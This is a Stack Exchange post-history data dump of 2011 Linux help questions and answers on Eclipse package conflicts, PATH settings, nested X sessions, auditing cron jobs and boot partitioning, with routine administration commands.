  <row Id="30325" PostHistoryTypeId="3" PostId="12390" RevisionGUID="92ce5289-163e-432a-a34e-9742ed251829" CreationDate="2011-04-30T11:00:06.627" UserId="7122" UserDisplayName="Henry-Nicolas Tourneur" Text="ébufferà" />
  <row Id="30326" PostHistoryTypeId="17" PostId="12390" RevisionGUID="58a25a56-e23a-4515-a265-b3b1bd64a3ed" CreationDate="2011-04-30T23:27:34.300" UserId="-1" Comment="from http://stackoverflow.com/questions/5841310/tracking-huge-buffer-usage-under-linux" Text="" />
  <row Id="30327" PostHistoryTypeId="5" PostId="12389" RevisionGUID="b088b703-7597-49a3-8e55-27a5a54bc73b" CreationDate="2011-05-01T00:02:11.107" UserId="4485" Comment="made some hard linebreaks and choosed 'code'-tag, to improve readability" Text="so I installed eclipse on fedora core 14 using the yum install eclipse-platform command...&#xD;&#xA;&#xD;&#xA;so I ran eclipse and tried to install the java development tools...but then this error comes up:&#xD;&#xA;&#xD;&#xA;    Cannot complete the install because of a conflicting dependency. &#xD;&#xA;    Software being installed: &#xD;&#xA;    Eclipse Java Development Tools 3.6.2.r362_v20101117-0800-7z8XFW6FLFlmjJcvz03jyeFBLS_F (org.eclipse.jdt.feature.group 3.6.2.r362_v20101117-0800-7z8XFW6FLFlmjJcvz03jyeFBLS_F) &#xD;&#xA;    Software currently installed: &#xD;&#xA;    Eclipse Platform 3.6.1 (Eclipse Platform 3.6.1) &#xD;&#xA;    Only one of the following can be installed at once: &#xD;&#xA;    Eclipse IDE UI 3.6.1.M20100825-0800 (org.eclipse.ui.ide 3.6.1.M20100825-0800) &#xD;&#xA;    Eclipse IDE UI 3.6.0.I20100601-0800 (org.eclipse.ui.ide 3.6.0.I20100601-0800) &#xD;&#xA;    Eclipse IDE UI 3.6.2.M20101201-0800 (org.eclipse.ui.ide 3.6.2.M20101201-0800) &#xD;&#xA;    Cannot satisfy dependency: &#xD;&#xA;    From: Eclipse Platform 3.6.1 (Eclipse Platform 3.6.1) &#xD;&#xA;    To: org.eclipse.ui.ide [3.6.1.M20100825-0800] &#xD;&#xA;    Cannot satisfy dependency: &#xD;&#xA;    From: Eclipse Java Development Tools 3.6.2.r362_v20101117-0800-7z8XFW6FLFlmjJcvz03jyeFBLS_F (org.eclipse.jdt.feature.group &#xD;&#xA;    	3.6.2.r362_v20101117-0800-7z8XFW6FLFlmjJcvz03jyeFBLS_F) &#xD;&#xA;    To: org.eclipse.platform.feature.group 3.6.2 &#xD;&#xA;    Cannot satisfy dependency: &#xD;&#xA;    From: Eclipse Platform 3.6.2.r362_v20110210-9gF78Gs1FrIGnHDHWkEcopoN8AmxeZflGDGKQi (org.eclipse.platform.feature.group &#xD;&#xA;    	3.6.2.r362_v20110210-9gF78Gs1FrIGnHDHWkEcopoN8AmxeZflGDGKQi) &#xD;&#xA;    To: org.eclipse.ui.ide [3.6.2.M20101201-0800]&#xD;&#xA;&#xD;&#xA;what should I do?&#xD;&#xA;" />
  <row Id="30328" PostHistoryTypeId="24" PostId="12389" RevisionGUID="b088b703-7597-49a3-8e55-27a5a54bc73b" CreationDate="2011-05-01T00:02:11.107" Comment="Proposed by 4485 approved by 885 edit id of 341" />
  <row Id="30329" PostHistoryTypeId="25" PostId="12383" RevisionGUID="0f5968a7-5de1-4e37-8c50-648e8fec018e" CreationDate="2011-05-01T00:11:19.163" Comment="http://twitter.com/#!/StackUnix/status/64481989155233792" />
  <row Id="30330" PostHistoryTypeId="17" PostId="12392" RevisionGUID="188b9534-5b7e-4c26-b659-97851f49ca3a" CreationDate="2011-05-01T00:13:11.583" UserId="-1" Comment="from http://stackoverflow.com/questions/5845402/how-to-run-my-c-program-from-anywhere-within-the-system-ubuntu-10-10/5845418#5845418" Text="" />
  <row Id="30331" PostHistoryTypeId="17" PostId="12393" RevisionGUID="c2738310-17c7-469c-96e6-92ea8c396ac0" CreationDate="2011-05-01T00:13:11.583" UserId="-1" Comment="from http://stackoverflow.com/questions/5845402/how-to-run-my-c-program-from-anywhere-within-the-system-ubuntu-10-10/5845424#5845424" Text="" />
  <row Id="30332" PostHistoryTypeId="2" PostId="12392" RevisionGUID="d2bdc308-286d-404f-91d3-c8a7665d7b33" CreationDate="2011-04-30T23:58:15.147" UserDisplayName="deong" Text="Without seeing your dotfiles, it's hard to say for sure, but from what you quoted, you left out the &quot;export&quot; when you added it to the .profile and .bashrc files." />
  <row Id="30333" PostHistoryTypeId="2" PostId="12393" RevisionGUID="b5ea94ca-82ab-4c24-b9a3-0b91182d8722" CreationDate="2011-04-30T23:59:24.577" UserDisplayName="viraptor" Text="It seems like you're putting the path in the correct place. It might not work if you have spaces somewhere in the path however. You can try doing this for correctness:&#xD;&#xA;&#xD;&#xA;    export PATH=&quot;$PATH:/home/ahuq/MappingServer/md5_program&quot;&#xD;&#xA;&#xD;&#xA;Alternatively, just put the app inside `/usr/local/bin`. Or even install the `md5sum` package, which seems to do the same thing as your app." />
  <row Id="30334" PostHistoryTypeId="2" PostId="12391" RevisionGUID="49c13238-2824-4f2c-ad75-e9a4cb3d4af5" CreationDate="2011-04-30T23:54:03.740" UserDisplayName="user676987" Text="Friends,&#xD;&#xA;I want to add my C program's path to the environment variable PATH. My C program called &quot;md5&quot;. So that I can execute it from anywhere (i.e any directory).&#xD;&#xA;&#xD;&#xA;My md5 program is located at `/home/ahuq/MappingServer/md5_program`. So what I did was to put:&#xD;&#xA;&#xD;&#xA;    export PATH=$PATH:/home/ahuq/MappingServer/md5_program&#xD;&#xA;&#xD;&#xA;in the running shell. This only makes temporary changes and lets me run the `md5` program from anywhere temporarily.&#xD;&#xA;&#xD;&#xA;    root@ahuq-kitchen:/home/ahuq# md5 -sanis&#xD;&#xA;    MD5 (&quot;anis&quot;) = 38a1ffb5ccad9612d3d28d99488ca94b&#xD;&#xA;&#xD;&#xA;But I want to make this change permanent.&#xD;&#xA;&#xD;&#xA;I tried to put the line `PATH=$PATH:/home/ahuq/MappingServer/md5_program` at the end of `/home/ahuq/.bashrc` and `/home/ahuq/.profile` files. I logged out of the shell and&#xD;&#xA;went in again. But it didn't work:&#xD;&#xA;&#xD;&#xA;    root@ahuq-kitchen:/home/ahuq# md5 -sanis&#xD;&#xA;    No command 'md5' found, did you mean:&#xD;&#xA;    Command 'cd5' from package 'cd5' (universe)&#xD;&#xA;    Command 'mdu' from package 'mtools' (main)&#xD;&#xA;    Command 'mdb' from package 'mono-debugger' (universe)&#xD;&#xA;    md5: command not found&#xD;&#xA;&#xD;&#xA;Maybe I am putting the `PATH` statement in the wrong place of the above mentioned files. There are a lot if-else-fi structures inside those two files. Do I need to put the `PATH` statement inside any of those structures? Do I just logout or do I have to restart the system to make the changes active?&#xD;&#xA;" />
  <row Id="30335" PostHistoryTypeId="1" PostId="12391" RevisionGUID="49c13238-2824-4f2c-ad75-e9a4cb3d4af5" CreationDate="2011-04-30T23:54:03.740" UserDisplayName="user676987" Text="How to run my C program from anywhere within the System (Ubuntu 10.10)?" />
  <row Id="30336" PostHistoryTypeId="3" PostId="12391" RevisionGUID="49c13238-2824-4f2c-ad75-e9a4cb3d4af5" CreationDate="2011-04-30T23:54:03.740" UserDisplayName="user676987" Text="éshellàéenvironmentövariablesà" />
  <row Id="30337" PostHistoryTypeId="17" PostId="12391" RevisionGUID="5dd89da8-57b1-4df9-a0c7-466c91bbc622" CreationDate="2011-05-01T00:13:11.583" UserId="-1" Comment="from http://stackoverflow.com/questions/5845402/how-to-run-my-c-program-from-anywhere-within-the-system-ubuntu-10-10" Text="" />
  <row Id="30338" PostHistoryTypeId="6" PostId="12390" RevisionGUID="0ea58929-f143-496e-af2e-28b7bfa0a9c7" CreationDate="2011-05-01T00:13:27.990" UserId="885" Comment="edited tags" Text="élinuxàémemoryàénfsà" />
  <row Id="30339" PostHistoryTypeId="2" PostId="12394" RevisionGUID="ebe91cba-4f42-407d-a86e-fd2e429c05b3" CreationDate="2011-05-01T01:09:07.193" UserId="2629" Text="I know that this is possible, I've seen it done, but I've forgotten the command.  &#xD;&#xA;&#xD;&#xA;Basically, what I want to do (for various reasons) is to spawn a GDM/Gnome/etc session (a new one) from within my current session.  I don't want to use another tty. I want it to be windowed, and appear under my current session, so I can easily Alt+Tab, start/stop the session easily.&#xD;&#xA;&#xD;&#xA;Ideally I'll be able to do something to the effect of: `&lt;command&gt; /path/to/gdm`" />
  <row Id="30340" PostHistoryTypeId="1" PostId="12394" RevisionGUID="ebe91cba-4f42-407d-a86e-fd2e429c05b3" CreationDate="2011-05-01T01:09:07.193" UserId="2629" Text="Spawning GDM/Display manager within already existing X11 session" />
  <row Id="30341" PostHistoryTypeId="3" PostId="12394" RevisionGUID="ebe91cba-4f42-407d-a86e-fd2e429c05b3" CreationDate="2011-05-01T01:09:07.193" UserId="2629" Text="élinuxàéxorgàéx11à" />
  <row Id="30342" PostHistoryTypeId="2" PostId="12395" RevisionGUID="f3b33dd6-8fe2-41ae-add9-78e6c7e5da49" CreationDate="2011-05-01T01:23:21.907" UserId="2629" Text="From your question:&#xD;&#xA;&#xD;&#xA;&gt; root@ahuq-kitchen:/home/ahuq# md5 -sanis&#xD;&#xA;&#xD;&#xA;But, you say you only edited the .bashrc for your user.&#xD;&#xA;&#xD;&#xA;If you need the new path to be global for every user, you could edit `/etc/bash.bashrc` (this could cause issues, if other users cannot execute `md5` from your homedir due to permissions issues). Or, if you only need the change to also apply to root as well as your local user, consider edited `/root/.bashrc` as well.&#xD;&#xA;&#xD;&#xA;Alternatively and more preferred, as root, you could consider installing/copying the `md5` command to `/usr/local/bin`, which is my default in everyone's `$PATH` in Ubuntu.&#xD;&#xA;&#xD;&#xA;You could do this with:&#xD;&#xA;&#xD;&#xA;&gt; $ sudo cp /home/ahuq/MappingServer/md5_program/md5 /usr/local/bin&lt;br/&gt;&#xD;&#xA;&gt; $ sudo chown root:root /usr/local/bin/md5&lt;br/&gt;&#xD;&#xA;&gt; $ sudo chmod 755 /usr/local/bin/md5" />
  <row Id="30343" PostHistoryTypeId="2" PostId="12396" RevisionGUID="7e62cc61-86b5-4f5b-a31a-f42bce768ddd" CreationDate="2011-05-01T01:37:56.543" UserId="48" Text="I would suggest to just download Eclipse from the website and unzip it in your home folder. I've had similar conflicts in the past, and not using the packages from the OS in this case just helped me.&#xD;&#xA;&#xD;&#xA;I know this is not the answer that you are looking for, but I consider a valid alternative, if what you want is just to have an IDE installed on your system. " />
  <row Id="30344" PostHistoryTypeId="2" PostId="12397" RevisionGUID="fe87e55a-0088-48af-89e4-9436c52de92d" CreationDate="2011-05-01T01:50:10.043" UserId="2180" Text="Possibly `xnest` or `xephyr` - these both let you start up an X session in a window." />
  <row Id="30345" PostHistoryTypeId="2" PostId="12398" RevisionGUID="b3259733-526f-4a9b-8a5a-517ea7281131" CreationDate="2011-05-01T02:57:29.263" UserId="3169" Text="Is your server running in UTC?  Most would run in a local time zone, which I'm guessing is UTC+1 (MET or CET) for you.  I ask because we need to know what timezone is used in the crontab, e.g. maybe 3.05 isn't called 3.05 in the crontab.&#xD;&#xA;&#xD;&#xA;Common tasks that do a lot of disk access include `makewhatis`/`man-db` and `slocate`/`mlocate`.  Double check they're not being run around 3.05, e.g. look at `/etc/crontab` and `/etc/cron.daily`.  Check user cron tabs in `/var/spool/cron`.&#xD;&#xA;&#xD;&#xA;There's two ways I can think of to figure out what's running at 3.05 without the cron logs.&#xD;&#xA;&#xD;&#xA;The first is `auditctl`, which is a bit painful to use.&#xD;&#xA;&#xD;&#xA;The second is a simple `ps`.  Just write a script to run `ps` several times, and schedule it to run at 3.04.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="30346" PostHistoryTypeId="25" PostId="12391" RevisionGUID="1145d721-3caf-4754-81cf-c5e6497bcd6a" CreationDate="2011-05-01T03:11:19.843" Comment="http://twitter.com/#!/StackUnix/status/64527292210225153" />
  <row Id="30347" PostHistoryTypeId="5" PostId="12398" RevisionGUID="3e83fe56-3bd5-4d93-9eef-feb767ce7fd7" CreationDate="2011-05-01T03:22:42.107" UserId="3169" Comment="added 693 characters in body" Text="Is your server running in UTC?  Most would run in a local time zone, which I'm guessing is UTC+1 (MET or CET) for you.  I ask because we need to know what timezone is used in the crontab, e.g. maybe 3.05 isn't called 3.05 in the crontab.&#xD;&#xA;&#xD;&#xA;Common tasks that do a lot of disk access include `makewhatis`/`man-db` and `slocate`/`mlocate`.  Double check they're not being run around 3.05, e.g. look at `/etc/crontab` and `/etc/cron.daily`.  Check user cron tabs in `/var/spool/cron`.&#xD;&#xA;&#xD;&#xA;There's two ways I can think of to figure out what's running at 3.05 without the cron logs.&#xD;&#xA;&#xD;&#xA;The first is `auditctl`, which is a bit painful to use.&#xD;&#xA;&#xD;&#xA;Based on the man page, I would try something like:&#xD;&#xA;&#xD;&#xA;    $ sudo auditctl -a entry,always -S open -S creat \&#xD;&#xA;        -S read -S readv -S write -S writev -S sendfile \&#xD;&#xA;        -S fork -S clone -S execve -k 305&#xD;&#xA;&#xD;&#xA;to set up the auditing, then&#xD;&#xA;&#xD;&#xA;    $ sudo aureport -s -i -ts 03:04 -te 03:06&#xD;&#xA;&#xD;&#xA;when you log in to the system after 3.05 to check what happened.&#xD;&#xA;&#xD;&#xA;The second is a simple `ps`.  Just write a script to run `ps` several times, and schedule it to run at 3.04.&#xD;&#xA;&#xD;&#xA;Many aspects of `ps` can be useful here, for example, `wchan` and `status` fields to see which processes are doing I/O and `pcpu` to see which processes are using the most CPU at the time.  Of course, any process that doesn't appear in the list at 3.04.59 but does appear at or shortly after 3.05.01 is an obvious suspect as well." />
  <row Id="30348" PostHistoryTypeId="2" PostId="12399" RevisionGUID="d051511c-da84-492c-8249-544b124a3677" CreationDate="2011-05-01T05:52:58.933" UserId="6290" Text="The `ls` display has a fixed-size display field, so it will show `s` (or `t`, for the restricted deletion flag - so-called &quot;sticky bit&quot;) if the executable-bit is present (since it is normally expected to be present on the either directories or executable files on which these bits are meaningful), and `S` if it is absent. `chmod` has no such constraint, so it simply assigns a letter to each mode bit." />
  <row Id="30349" PostHistoryTypeId="2" PostId="12400" RevisionGUID="e39211ee-d6da-453d-8832-c26751439d0b" CreationDate="2011-05-01T06:01:38.087" UserId="6290" Text="You can do anything you want with the prompt line* - the problematic aspect is getting it to _undo_ it afterward. I assume you don't want every single line that has ever had a prompt on it displayed in your hilight colors.&#xD;&#xA;&#xD;&#xA;It'd almost be easier to delete the line afterward, but then you don't have your command. Maybe delete the prompt then echo the command (with a pseudo-prompt like `$`). You could have the prompt begin with an ANSI cursor save sequence `ESC [s`, then in a `precmd` restore it `ESC [u` and clear everything after the cursor `ESC [0J`, then echo the command (I don't recall how to get the command from inside `precmd`).&#xD;&#xA;&#xD;&#xA;*This is an incomplete answer, I don't know how to make it hilight the command in a different background color." />
  <row Id="30350" PostHistoryTypeId="25" PostId="12389" RevisionGUID="8abc0b86-3309-4429-b9e3-8529786b20d1" CreationDate="2011-05-01T06:11:19.847" Comment="http://twitter.com/#!/StackUnix/status/64572589879734272" />
  <row Id="30351" PostHistoryTypeId="2" PostId="12401" RevisionGUID="99a44cf4-5d83-4ffe-b70a-a90735872e27" CreationDate="2011-05-01T06:46:52.020" UserId="4843" Text="In addition to the above two mentioned commands, you can also use:&#xD;&#xA;&#xD;&#xA;&gt; gdmflexiserver&#xD;&#xA;&#xD;&#xA;" />
  <row Id="30352" PostHistoryTypeId="2" PostId="12402" RevisionGUID="84c3382d-e1a6-4a78-ab1f-16b46df82f15" CreationDate="2011-05-01T08:20:10.090" UserId="7118" Text="Had the exact same problem - your question and investigations actually helped me find the answer.&#xD;&#xA;&#xD;&#xA;Start celery with `celery_detach` - and, poof! Things work!&#xD;&#xA;&#xD;&#xA;ie. `manage.py celery_detach --params --settings=foo`&#xD;&#xA;&#xD;&#xA;It returns immediately, with a proper line break, and the things that fabric is looking for." />
  <row Id="30353" PostHistoryTypeId="5" PostId="12341" RevisionGUID="2c24ad05-ebfc-473b-a3de-e8d97acd7f2b" CreationDate="2011-05-01T08:20:10.340" UserId="688" Comment="rm apology" Text="I'm trying to upgrade to the latest version of DokuWiki, and I'm finding that the easiest way to do this is to install the upgrade plugin and just click a few buttons.  But there are permissions issues writing some of the files.&#xD;&#xA;&#xD;&#xA;How can I briefly change the permissions so that the plugin can work its magic without compromising security?&#xD;&#xA;" />
  <row Id="30354" PostHistoryTypeId="2" PostId="12403" RevisionGUID="2f0c2b7d-a02a-4408-876c-3b2bb2b25cff" CreationDate="2011-05-01T08:21:21.980" UserId="2995" Text="Are you sure that you are running `bash` (and not some other Bourne shell flavour such as `sh`) ? Try `ps $$` and `echo $SHELL` to verify that. &#xD;&#xA;&#xD;&#xA;Also, you could put statements such as `echo IN FILE XYZ` directly before adding this to the path to see whether your path settings are actually executed. &#xD;&#xA;&#xD;&#xA;And put the adding of your path as close to the end of your shell startup file as possible. I've seen startup files in the past where at some point the entire `PATH` is reset and rebuild from scratch instead of appending new directories" />
  <row Id="30355" PostHistoryTypeId="5" PostId="12304" RevisionGUID="0ea6db0c-4b6c-47a4-80b5-1bab6654df6a" CreationDate="2011-05-01T08:41:43.480" UserId="688" Comment="rm apology" Text="I'm running Debian and need a way to format the entire hdd in order to not leave any trace on it because I want to donate it to a friend. So what will be the best way in order to format it? If I reinstall the OS it will not fully format it. I'm looking for a way to completely format it and make it like when you buy it from the shop, completely new and never stored a thing before." />
  <row Id="30356" PostHistoryTypeId="5" PostId="12355" RevisionGUID="2f242276-1ed3-4082-a80d-7e8ef86cd7fb" CreationDate="2011-05-01T08:48:01.400" UserId="2657" Comment="added 59 characters in body; deleted 1 characters in body; added 4 characters in body" Text="While installing Debian 6.0 I went with manual partitioning and apparantly messed up.&#xD;&#xA;OS only loads if I start computer in recovery mode and fdisk output doesn't have primary partition. AFAIK - I must have at least 1 primary partition for PC to boot - right? Is there a way to convert partition from exteneded to primary?&#xD;&#xA;&#xD;&#xA;now my partition table looks like this:&#xD;&#xA;&#xD;&#xA;       cme@cmehost:~$ sudo fdisk -c -l /dev/sda&#xD;&#xA;        &#xD;&#xA;        Disk /dev/sda: 500.1 GB, 500107862016 bytes&#xD;&#xA;        255 heads, 63 sectors/track, 60801 cylinders&#xD;&#xA;        Units = cylinders of 16065 * 512 = 8225280 bytes&#xD;&#xA;        Sector size (logical/physical): 512 bytes / 512 bytes&#xD;&#xA;        I/O size (minimum/optimal): 512 bytes / 512 bytes&#xD;&#xA;        Disk identifier: 0x00010629&#xD;&#xA;        &#xD;&#xA;       Device Boot      Start         End      Blocks   Id  System&#xD;&#xA;    /dev/sda1               1        1216     9764864   82  Linux swap / Solaris&#xD;&#xA;    /dev/sda2            1216       60802   478618625    5  Extended&#xD;&#xA;    /dev/sda5   *        1216        6091    39158784   83  Linux&#xD;&#xA;    /dev/sda6            6092       60802   439458816   83  Linux&#xD;&#xA;&#xD;&#xA;**UPDATE 1 - /boot/grub/grub.cfg**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    # DO NOT EDIT THIS FILE&#xD;&#xA;    #&#xD;&#xA;    # It is automatically generated by grub-mkconfig using templates&#xD;&#xA;    # from /etc/grub.d and settings from /etc/default/grub&#xD;&#xA;    #&#xD;&#xA;    &#xD;&#xA;    ### BEGIN /etc/grub.d/00_header ###&#xD;&#xA;    if [ -s $prefix/grubenv ]; then&#xD;&#xA;      load_env&#xD;&#xA;    fi&#xD;&#xA;    set default=&quot;0&quot;&#xD;&#xA;    if [ &quot;${prev_saved_entry}&quot; ]; then&#xD;&#xA;      set saved_entry=&quot;${prev_saved_entry}&quot;&#xD;&#xA;      save_env saved_entry&#xD;&#xA;      set prev_saved_entry=&#xD;&#xA;      save_env prev_saved_entry&#xD;&#xA;      set boot_once=true&#xD;&#xA;    fi&#xD;&#xA;    &#xD;&#xA;    function savedefault {&#xD;&#xA;      if [ -z &quot;${boot_once}&quot; ]; then&#xD;&#xA;        saved_entry=&quot;${chosen}&quot;&#xD;&#xA;        save_env saved_entry&#xD;&#xA;      fi&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    function load_video {&#xD;&#xA;      insmod vbe&#xD;&#xA;      insmod vga&#xD;&#xA;      insmod video_bochs&#xD;&#xA;      insmod video_cirrus&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    insmod part_msdos&#xD;&#xA;    insmod ext2&#xD;&#xA;    set root='(hd1,msdos5)'&#xD;&#xA;    search --no-floppy --fs-uuid --set 19b27164-6e7a-4d55-89be-9986c2a5fe73&#xD;&#xA;    if loadfont /usr/share/grub/unicode.pf2 ; then&#xD;&#xA;      set gfxmode=640x480&#xD;&#xA;      load_video&#xD;&#xA;      insmod gfxterm&#xD;&#xA;    fi&#xD;&#xA;    terminal_output gfxterm&#xD;&#xA;    insmod part_msdos&#xD;&#xA;    insmod ext2&#xD;&#xA;    set root='(hd1,msdos5)'&#xD;&#xA;    search --no-floppy --fs-uuid --set 19b27164-6e7a-4d55-89be-9986c2a5fe73&#xD;&#xA;    set locale_dir=($root)/boot/grub/locale&#xD;&#xA;    set lang=en&#xD;&#xA;    insmod gettext&#xD;&#xA;    set timeout=5&#xD;&#xA;    ### END /etc/grub.d/00_header ###&#xD;&#xA;    &#xD;&#xA;    ### BEGIN /etc/grub.d/05_debian_theme ###&#xD;&#xA;    insmod part_msdos&#xD;&#xA;    insmod ext2&#xD;&#xA;    set root='(hd1,msdos5)'&#xD;&#xA;    search --no-floppy --fs-uuid --set 19b27164-6e7a-4d55-89be-9986c2a5fe73&#xD;&#xA;    insmod png&#xD;&#xA;    if background_image /usr/share/images/desktop-base/spacefun-grub.png; then&#xD;&#xA;      set color_normal=light-gray/black&#xD;&#xA;      set color_highlight=white/black&#xD;&#xA;    else&#xD;&#xA;      set menu_color_normal=cyan/blue&#xD;&#xA;      set menu_color_highlight=white/blue&#xD;&#xA;    fi&#xD;&#xA;    ### END /etc/grub.d/05_debian_theme ###&#xD;&#xA;    &#xD;&#xA;    ### BEGIN /etc/grub.d/10_linux ###&#xD;&#xA;    menuentry 'Debian GNU/Linux, with Linux 2.6.32-5-amd64' --class debian --class gnu-linux --class gnu --class os {&#xD;&#xA;    	insmod part_msdos&#xD;&#xA;    	insmod ext2&#xD;&#xA;    	set root='(hd1,msdos5)'&#xD;&#xA;    	search --no-floppy --fs-uuid --set 19b27164-6e7a-4d55-89be-9986c2a5fe73&#xD;&#xA;    	echo	'Loading Linux 2.6.32-5-amd64 ...'&#xD;&#xA;    	linux	/boot/vmlinuz-2.6.32-5-amd64 root=UUID=19b27164-6e7a-4d55-89be-9986c2a5fe73 ro  quiet&#xD;&#xA;    	echo	'Loading initial ramdisk ...'&#xD;&#xA;    	initrd	/boot/initrd.img-2.6.32-5-amd64&#xD;&#xA;    }&#xD;&#xA;    menuentry 'Debian GNU/Linux, with Linux 2.6.32-5-amd64 (recovery mode)' --class debian --class gnu-linux --class gnu --class os {&#xD;&#xA;    	insmod part_msdos&#xD;&#xA;    	insmod ext2&#xD;&#xA;    	set root='(hd1,msdos5)'&#xD;&#xA;    	search --no-floppy --fs-uuid --set 19b27164-6e7a-4d55-89be-9986c2a5fe73&#xD;&#xA;    	echo	'Loading Linux 2.6.32-5-amd64 ...'&#xD;&#xA;    	linux	/boot/vmlinuz-2.6.32-5-amd64 root=UUID=19b27164-6e7a-4d55-89be-9986c2a5fe73 ro single &#xD;&#xA;    	echo	'Loading initial ramdisk ...'&#xD;&#xA;    	initrd	/boot/initrd.img-2.6.32-5-amd64&#xD;&#xA;    }&#xD;&#xA;    ### END /etc/grub.d/10_linux ###&#xD;&#xA;    &#xD;&#xA;    ### BEGIN /etc/grub.d/20_linux_xen ###&#xD;&#xA;    ### END /etc/grub.d/20_linux_xen ###&#xD;&#xA;    &#xD;&#xA;    ### BEGIN /etc/grub.d/30_os-prober ###&#xD;&#xA;    ### END /etc/grub.d/30_os-prober ###&#xD;&#xA;    &#xD;&#xA;    ### BEGIN /etc/grub.d/40_custom ###&#xD;&#xA;    # This file provides an easy way to add custom menu entries.  Simply type the&#xD;&#xA;    # menu entries you want to add after this comment.  Be careful not to change&#xD;&#xA;    # the 'exec tail' line above.&#xD;&#xA;    ### END /etc/grub.d/40_custom ###&#xD;&#xA;    &#xD;&#xA;    ### BEGIN /etc/grub.d/41_custom ###&#xD;&#xA;    if [ -f  $prefix/custom.cfg ]; then&#xD;&#xA;      source $prefix/custom.cfg;&#xD;&#xA;    fi&#xD;&#xA;    ### END /etc/grub.d/41_custom ###&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**UPDATE 2 - boot log**&#xD;&#xA;&#xD;&#xA;mmm ... /var/loog/boot is empty - not sure if there are some other files I should check:)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**UPDATE 3**&#xD;&#xA;Well - I'm sort of beginning to believe that this might be some hardware issue. Since setupnever even gets to grub menu.  Anyway-  i'll just nuke it and reinstall, no biggie:)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**UPDATE 4 - RESOLUTION**&#xD;&#xA;&#xD;&#xA;ok - sorted! the problem as I found out was my honest believe that unetbootin was designed to allow us to install various OS'es from usb drives onto computers - which ...umm...was totally wrong. Unetbootin - is a piece of software to create live usb drives - so you can boot your PC from them. I know - you are like - duh.&#xD;&#xA;&#xD;&#xA;So - I simply had to recreate my install thumb drive like this:&#xD;&#xA;&#xD;&#xA;    cat image.iso &gt; /dev/sdb1&#xD;&#xA;    sync&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    dd if=image.iso of=/dev/sdb1&#xD;&#xA;&#xD;&#xA;And of course everything installed just fine after that.&#xD;&#xA;&#xD;&#xA;and I mean - Holy shit how easy it is.&#xD;&#xA;&#xD;&#xA;Sorry for confusion everyone. ;)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="30357" PostHistoryTypeId="25" PostId="12394" RevisionGUID="b2477a0e-1d2c-47f4-b44f-5447641da3a0" CreationDate="2011-05-01T09:11:19.827" Comment="http://twitter.com/#!/StackUnix/status/64617888761380864" />
  <row Id="30359" PostHistoryTypeId="5" PostId="12275" RevisionGUID="bea78e39-a7c1-4c89-a5ad-e101b512c167" CreationDate="2011-05-01T09:37:16.760" UserId="3384" Comment="added 221 characters in body; edited tags; edited title; added 39 characters in body" Text="Hello, I'm using Linux as my main OS for few years.  &#xD;&#xA;&#xD;&#xA;Before month or so, i tested apple magic track pad and i loved it since i am using laptop touch pad more than a mouse, it requires less movement of hand and it replaces the mouse perfectly up the point you need to draw something.  &#xD;&#xA;&#xD;&#xA;So i tried to find alternatives to it (dell or some other companies since apple production is overpriced), no luck. Any suggestions?  &#xD;&#xA;&#xD;&#xA;My problems: &#xD;&#xA;&#xD;&#xA; - I'm not sure if that hardware will work under Linux.&#xD;&#xA; - I don't want to use unknown/low quality hardware.&#xD;&#xA;&#xD;&#xA;Since my main concern is related to working under Linux and not enough data under such devices i posted this question here. " />
  <row Id="30360" PostHistoryTypeId="4" PostId="12275" RevisionGUID="bea78e39-a7c1-4c89-a5ad-e101b512c167" CreationDate="2011-05-01T09:37:16.760" UserId="3384" Comment="added 221 characters in body; edited tags; edited title; added 39 characters in body" Text="Linux hardware: Apple Magic Track Pad Alternatives" />
  <row Id="30361" PostHistoryTypeId="6" PostId="12275" RevisionGUID="bea78e39-a7c1-4c89-a5ad-e101b512c167" CreationDate="2011-05-01T09:37:16.760" UserId="3384" Comment="added 221 characters in body; edited tags; edited title; added 39 characters in body" Text="élinuxàéhardwareàétouchpadàéalternativesà" />
  <row Id="30362" PostHistoryTypeId="5" PostId="12275" RevisionGUID="58e4a517-9dfc-4b1b-912c-f1f0e32e24cb" CreationDate="2011-05-01T09:52:41.043" UserId="3384" Comment="added 193 characters in body" Text="Hello, I'm using Linux as my main OS for few years.  &#xD;&#xA;&#xD;&#xA;Before month or so, i tested apple magic track pad and i loved it since i am using laptop touch pad more than a mouse, it requires less movement of hand and it replaces the mouse perfectly up the point you need to draw something.  &#xD;&#xA;&#xD;&#xA;So i tried to find alternatives to it (dell or some other companies since apple production is overpriced), no luck. Any suggestions?  &#xD;&#xA;&#xD;&#xA;My problems: &#xD;&#xA;&#xD;&#xA; - I'm not sure if that hardware will work under Linux (Ubuntu, SuSE, Fedora, Arch, etc.).&#xD;&#xA; - Will Linux have full support to that device (multi-touch, gestures, etc.).&#xD;&#xA; - I don't want to use unknown/low quality hardware.&#xD;&#xA; - I will probably need to ship it. There fore local shop-lists won't help.&#xD;&#xA;&#xD;&#xA;Since my _main_ concern is related to working under Linux and not enough data under such devices i posted this question here. " />
  <row Id="30363" PostHistoryTypeId="2" PostId="12405" RevisionGUID="ba151e13-bc78-4659-ad01-1b59eec788ea" CreationDate="2011-05-01T10:00:19.757" UserId="7022" Text="It seems to me you installed the IDE using yum and then went inside the IDE to install the latest java development tools. If you install Eclipse from the package management system of your linux distribution, then you should install the development tools from this system as well. I'm sure there is an eclipse-jdt package in yum. The dependency is probably from eclipse-jdt to eclipse, which was a concious decision as the reverse is optional.&#xD;&#xA;&#xD;&#xA;There are two solutions, either stick to the packages from your IDE or download the archive from the eclipse website. The first option will provide a stable environment where all the pieces work together nicely. The second will give you the latest (stable) version of everything and you will have less trouble with conflicts like this when you add/install components from inside of the IDE." />
